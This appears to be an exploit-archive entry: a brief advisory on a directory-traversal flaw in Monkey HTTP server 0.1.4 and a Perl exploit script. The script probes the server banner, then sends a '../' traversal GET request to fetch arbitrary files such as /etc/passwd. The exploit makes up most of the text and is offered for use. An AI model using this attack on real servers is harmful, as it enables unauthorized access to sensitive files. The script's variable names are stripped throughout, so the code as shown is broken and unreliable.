source: https://www.securityfocus.com/bid/5792/info Monkey HTTP server is prone to a directory-traversal bug that may allow attackers to access sensitive files. By passing a malicious query to a vulnerable server, an attacker can potentially gain access to arbitrary webserver-readable files. This issue occurs because the application fails to sufficiently validate the user-supplied input. #!/usr/bin/perl # # (0 day;) Monkey-0.1.4 reverse traversal exploit # # Usage: # perl monkey.pl # # - target host # - port on which HTTP daemon is listening # - file which you wanna get # # Example: # perl monkey.pl www.ii-labs.org 80 /etc/passwd # # by DownBload # Illegal Instruction Labs # use IO::Socket; sub sock () { = IO::Socket::INET->new (PeerAddr => , PeerPort => , Proto => "tcp") || die "[ ERROR: Can't connect to !!! ]\n\n"; } sub banner() { print "[--------------------------------------------------]\n"; print "[ Monkey-0.1.4 reverse traversal exploit ]\n"; print "[ by DownBload ]\n"; print "[ Illegal Instruction Labs ]\n"; print "[--------------------------------------------------]\n"; } if (0ARGV != 2) { banner(); print "[ Usage: ]\n"; print "[ perl monkey.pl ]\n"; print "[--------------------------------------------------]\n"; exit(0); } = [0]; = [1]; = [2]; banner(); print "[ Connecting to ... ]\n"; sock(); print "[ Sending probe... ]\n"; print "HEAD / HTTP/1.0\n\n"; while ( = <>) { = . ; } if ( =~ /Monkey/) { print "[ Monkey HTTP server found, continuing... ]\n"; } else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; } close (); print "[ Connecting to ... ]\n"; sock(); print "[ Sending GET request... ]\n"; print "GET //../../../../../../../../../ HTTP/1.0\n\n"; print "[ Waiting for response... ]\n\n"; while ( = <>) { print ; } close ();